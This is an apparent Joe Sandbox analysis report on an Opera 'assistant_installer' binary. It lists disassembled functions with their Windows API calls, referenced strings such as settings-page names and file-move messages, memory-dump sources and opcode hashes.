                                                                                                                                                                                                                • Opcode ID: 0b99cd485ca685dbb5f65e6909ee6d786a29cd4efb0ff092a74751655458f409
                                                                                                                                                                                                                • Instruction ID: 04a16b900f879c5ab1da956fa87f7f6009e46d46c8cc86788e0f9bf37b9b2b98
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0b99cd485ca685dbb5f65e6909ee6d786a29cd4efb0ff092a74751655458f409
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B6B15A71E00B42DFE714DF28C8917A9B3A0FF9A310F258229EC5987792E774B9D48791
                                                                                                                                                                                                                Function 00714EA0 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 130comCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CoCreateInstance.OLE32(008661B4,00000000,00000017,0085D4A8,-00000020), ref: 00714EC8
                                                                                                                                                                                                                • CoAllowSetForegroundWindow.OLE32(?,00000000), ref: 00714EDF
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • Email, xrefs: 00714F5E
                                                                                                                                                                                                                • windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel, xrefs: 00714EF1, 00714FAF
                                                                                                                                                                                                                • mailto, xrefs: 00714F48
                                                                                                                                                                                                                • SystemSettings_DefaultApps_%ls, xrefs: 00714F63
                                                                                                                                                                                                                • page=SettingsPageAppsDefaults&target=%ls, xrefs: 00714F92
                                                                                                                                                                                                                • Browser, xrefs: 00714F2B
                                                                                                                                                                                                                • page=SettingsPageAppsDefaults, xrefs: 00714EEC
                                                                                                                                                                                                                • SettingsPageAppsDefaultsProtocolView, xrefs: 00714F76
                                                                                                                                                                                                                • http, xrefs: 00714F15
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AllowCreateForegroundInstanceWindow
                                                                                                                                                                                                                • String ID: Browser$Email$SettingsPageAppsDefaultsProtocolView$SystemSettings_DefaultApps_%ls$http$mailto$page=SettingsPageAppsDefaults$page=SettingsPageAppsDefaults&target=%ls$windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
                                                                                                                                                                                                                • API String ID: 14021637-918448973
                                                                                                                                                                                                                • Opcode ID: 324a2234cc40d91800ff560660b272dd48bada3015ff7673db42adb919ec50d4
                                                                                                                                                                                                                • Instruction ID: 11f6db5e5d3f415f990a0630b913806725f8a79c178506b18a964a4b3587ec38
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 324a2234cc40d91800ff560660b272dd48bada3015ff7673db42adb919ec50d4
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 82418EB0A00218AFDB10EFA4DC86EAAB7BCFF05755F084055FC45EB382D769AD46C661
                                                                                                                                                                                                                Function 00751C60 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 418COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(FFFFFFFF), ref: 00751D9A
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,?,00000000,?,?,?,FFFFFFFE,?,?,FFFFFFFF,?,?,?,00000000), ref: 00751F51
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,FFFFFFFE,?,?,FFFFFFFF,?,?), ref: 00751FFD
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFE), ref: 007520C1
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$DirectoryExists$DoCopyDirectory$PathExists
                                                                                                                                                                                                                • API String ID: 3188754299-3776415229
                                                                                                                                                                                                                • Opcode ID: 55e6b22007f2286bca88d99464f37cfc7bce91cec569a5be0d39022f544643c6
                                                                                                                                                                                                                • Instruction ID: 543131784324a33ac75378870a9107675a1a50b6aace0727f7e4ecd119f44014
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 55e6b22007f2286bca88d99464f37cfc7bce91cec569a5be0d39022f544643c6
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B7F1C4716083819AD7209F2888897BFB7A0BFC6761F440B1DF9E4572C2DBB8950AC753
                                                                                                                                                                                                                Function 00707E20 Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 324COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 007524E0: GetFileAttributesW.KERNELBASE(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00752551
                                                                                                                                                                                                                  • Part of subcall function 00752320: GetFileAttributesW.KERNELBASE(FFFFFFFF,?,00000000), ref: 00752391
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(00000000), ref: 00707FF5
                                                                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 00708014
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                • String ID: Cannot create folder for the moved file$Cannot delete the file that has the same name as the move target$../../opera/desktop/windows/installer/transactions/move_file_operation.cc$Could not move the file: $Couldn't clear RO attribute of $File move failed$File moved successfully$Moving
                                                                                                                                                                                                                • API String ID: 3188754299-3608604820
                                                                                                                                                                                                                • Opcode ID: ca25cd82c47c68fc2eeea13e72adde6c1ae00f013ed92c7212c97fc434642fb7
                                                                                                                                                                                                                • Instruction ID: 0a528b078f8d33a887c1847dd64abbfa207e0ab227cdb3f08cb06bad7ea5773d
                                                                                                                                                                                                                • Opcode Fuzzy Hash: ca25cd82c47c68fc2eeea13e72adde6c1ae00f013ed92c7212c97fc434642fb7
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BDC1B570A00214DFEB24DB14CC86FAA77E5BF45310F048298E949AB3C3DB79AD49CB52
                                                                                                                                                                                                                Function 008457DF Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • IsInExceptionSpec.LIBVCRUNTIME ref: 008458DA
                                                                                                                                                                                                                • type_info::operator==.LIBVCRUNTIME ref: 00845901
                                                                                                                                                                                                                • ___TypeMatch.LIBVCRUNTIME ref: 00845A0D
                                                                                                                                                                                                                • CatchIt.LIBVCRUNTIME ref: 00845A62
                                                                                                                                                                                                                • IsInExceptionSpec.LIBVCRUNTIME ref: 00845AE8
                                                                                                                                                                                                                • _UnwindNestedFrames.LIBCMT ref: 00845B6F
                                                                                                                                                                                                                • CallUnexpected.LIBVCRUNTIME ref: 00845B8A
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
                                                                                                                                                                                                                • String ID: csm$csm$csm
                                                                                                                                                                                                                • API String ID: 4234981820-393685449
                                                                                                                                                                                                                • Opcode ID: fc1e7d347241bdf4431cc192c74ad5597a3be7d7640e1b0bc7a2578cd0eaf7a8
                                                                                                                                                                                                                • Instruction ID: ff5e6b8f247b96cc0150f78f387daecd78c496dde56d75f79d0c0f39fff33f85
                                                                                                                                                                                                                • Opcode Fuzzy Hash: fc1e7d347241bdf4431cc192c74ad5597a3be7d7640e1b0bc7a2578cd0eaf7a8
                                                                                                                                                                                                                • Instruction Fuzzy Hash: FAC15B7190061DEFCF25DFA8D8819AEBBB5FF18320F04455AF811AB212D731DA51CB92
                                                                                                                                                                                                                Function 007105DD Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 112memoryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 007105FE
                                                                                                                                                                                                                • OpenProcessToken.ADVAPI32(00000000,0000000A,?), ref: 00710608
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: GetLastError.KERNEL32(00000000,?,-00000001,?,007012C9,00000000), ref: 00701BAB
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: SetLastError.KERNEL32(00000000,?,007012C9,00000000), ref: 00701BCA
                                                                                                                                                                                                                • GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,?,?), ref: 0071063A
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00710644
                                                                                                                                                                                                                • LocalAlloc.KERNEL32(00000040,?), ref: 00710654
                                                                                                                                                                                                                • GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,?,?), ref: 00710670
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 0071068C
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 007106D9
                                                                                                                                                                                                                • LocalFree.KERNEL32(00000000), ref: 00710721
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../opera/desktop/windows/common/access_control/access_control_utils_impl.cc, xrefs: 007106B4, 007106F9
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$Token$InformationLocalProcess$AllocCurrentFreeOpen
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/common/access_control/access_control_utils_impl.cc
                                                                                                                                                                                                                • API String ID: 2525985394-4103139186
                                                                                                                                                                                                                • Opcode ID: 17463bf39905a978cfb6dd353fcd756d4e649f715c79fbce305c6be29f569734
                                                                                                                                                                                                                • Instruction ID: b4ea388144d0c6ed7c4aa7c7c711ac081187c99e691cd7292435a0d07f2af2cd
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 17463bf39905a978cfb6dd353fcd756d4e649f715c79fbce305c6be29f569734
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6841B471A00219EBEB106F64DC4AFEEB779FF40710F040159F515AB2C1DBB85984CBA2
                                                                                                                                                                                                                Function 0070CBA0 Relevance: 16.8, APIs: 11, Instructions: 295stringregistryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 0070BADE: CharNextW.USER32(?,00000000,75A3A7D0,?,00000000,?,80004005), ref: 0070BB07
                                                                                                                                                                                                                  • Part of subcall function 0070BADE: CharNextW.USER32(?,00000000,75A3A7D0,?,00000000,?,80004005), ref: 0070BB1D
                                                                                                                                                                                                                • lstrcmpiW.KERNEL32(?,00858380,?,?,?,?), ref: 0070CBF1
                                                                                                                                                                                                                • lstrcmpiW.KERNEL32(?,00858384), ref: 0070CC01
                                                                                                                                                                                                                • lstrcmpiW.KERNEL32(?,00858388), ref: 0070CC11
                                                                                                                                                                                                                • lstrcmpiW.KERNEL32(?,0085838C), ref: 0070CC21
                                                                                                                                                                                                                • CharNextW.USER32(?), ref: 0070CC86
                                                                                                                                                                                                                • CharNextW.USER32(?), ref: 0070CDC5
                                                                                                                                                                                                                • CharNextW.USER32(00000000), ref: 0070CDDC
                                                                                                                                                                                                                • RegSetValueExW.ADVAPI32(?,?,00000000,00000007,?,-00000002,-00000002), ref: 0070CE30
                                                                                                                                                                                                                • VarUI4FromStr.OLEAUT32(?,00000000,00000000,?), ref: 0070CE81
                                                                                                                                                                                                                • RegSetValueExW.ADVAPI32(?,?,00000000,00000004,?,00000004), ref: 0070CEAF
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CharNext$lstrcmpi$Value$From
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2620931725-0
                                                                                                                                                                                                                • Opcode ID: 197dc73773d4648642a6cde536297137b026a581bf9793f6ce07c0a7013ab61c
                                                                                                                                                                                                                • Instruction ID: 45f478a38beac82e072bef9414263dc4e3b661edd3ab7f63d02b1c68af7fcac7
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 197dc73773d4648642a6cde536297137b026a581bf9793f6ce07c0a7013ab61c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1FA11772A00225DBDB259B10CC8ABFA77F5EF54700F0403A9FA05972D1E7785E91DB92
                                                                                                                                                                                                                Function 007E67CA Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 248COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileInformationByHandleEx.KERNEL32(?,00000002,00000000,00000210,?), ref: 007E6816
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(?), ref: 007E6986
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?,?,?,?), ref: 007E6A52
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(?,?,?), ref: 007E6A9C
                                                                                                                                                                                                                • PostQueuedCompletionStatus.KERNEL32(00006461,00000000,?,00000000,?,?), ref: 007E6AAE
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?,?,?), ref: 007E6AB5
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • \\.\pipe, xrefs: 007E68E3
                                                                                                                                                                                                                • GetFileInformationByHandleEx, xrefs: 007E684F
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/win/exception_handler_server.cc, xrefs: 007E6840
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireRelease$CompletionFileHandleInformationPostQueuedStatus
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/win/exception_handler_server.cc$GetFileInformationByHandleEx$\\.\pipe
                                                                                                                                                                                                                • API String ID: 3092314435-838569524
                                                                                                                                                                                                                • Opcode ID: 4a087a16fb5aedefc0a5b14838ad3b42c3418ecb055be6e5a5bfdc5af1483dd6
                                                                                                                                                                                                                • Instruction ID: 2566b4ea1cd725f953e0c6eeffa33716a76eabcbfcbe91eb54f8e00ea5083f95
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4a087a16fb5aedefc0a5b14838ad3b42c3418ecb055be6e5a5bfdc5af1483dd6
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 12A1CDB05007409FD720DF29C884A56BBE4FF58314F108A6EE89A9B752E735F916CB91
                                                                                                                                                                                                                Function 00710C20 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 179COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetNamedSecurityInfoW.ADVAPI32(?,?,?,?,?,?,?,?), ref: 00710C91
                                                                                                                                                                                                                • GetExplicitEntriesFromAclW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 00710CC2
                                                                                                                                                                                                                • LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00710CE2
                                                                                                                                                                                                                • LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00710CF0
                                                                                                                                                                                                                • EqualSid.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 00710DB3
                                                                                                                                                                                                                • EqualSid.ADVAPI32(FFFFFFFF,?,?,?,?,?,?,?,?,?,?), ref: 00710DF0
                                                                                                                                                                                                                • FreeSid.ADVAPI32(FFFFFFFF,?,?,?,?,?,?,?,?,?), ref: 00710E07
                                                                                                                                                                                                                • FreeSid.ADVAPI32(?,?,?,?,?,?,?,?,?,?), ref: 00710E20
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../opera/desktop/windows/common/access_control/access_control_utils_impl.cc, xrefs: 00710D4C
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Free$EqualLocal$EntriesExplicitFromInfoNamedSecurity
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/common/access_control/access_control_utils_impl.cc
                                                                                                                                                                                                                • API String ID: 3814160775-4103139186
                                                                                                                                                                                                                • Opcode ID: 5ccfe410698c0c00e4e430e6fabddccdad22ef98979b29cf2215e66bbf788e8c
                                                                                                                                                                                                                • Instruction ID: 556fe4520007908adb767abdc2fa43fb5bfdc10902502a5ca686a0b1aa6aae28
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5ccfe410698c0c00e4e430e6fabddccdad22ef98979b29cf2215e66bbf788e8c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F0717E71900259DFDB20DFA8C944BEEBBB4BF44310F04459AE549B7291D778AAC4CFA1
                                                                                                                                                                                                                Function 007044A0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 175COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: No name in a registry key value$No type information on a registry key value$Registry value is not a dictionary$data$name$type
                                                                                                                                                                                                                • API String ID: 4218353326-1085468316
                                                                                                                                                                                                                • Opcode ID: fc7300c763f158c4d291ad92019d7e3e930fb56727aaaa2414a20a152b498bbc
                                                                                                                                                                                                                • Instruction ID: 34c8710ace88cf0ed4b5f3b616c4df0ff6f4d2e9d5cad85c2d107f03cef7a668
                                                                                                                                                                                                                • Opcode Fuzzy Hash: fc7300c763f158c4d291ad92019d7e3e930fb56727aaaa2414a20a152b498bbc
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5051C1B1604354EBC710EF58D88186BB7E9EFC5310F004A2DFA9597381E779E809C792
                                                                                                                                                                                                                Function 00752DF0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 166COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,?,00000000), ref: 00752E6C
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000050), ref: 00752E8D
                                                                                                                                                                                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00752F54
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00752F64
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,?,00000000), ref: 00752FDC
                                                                                                                                                                                                                • SetLastError.KERNEL32(?), ref: 0075300E
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$AttributesFile$CreateDirectory
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$CreateDirectoryAndGetError$DirectoryExists
                                                                                                                                                                                                                • API String ID: 3677629684-252988939
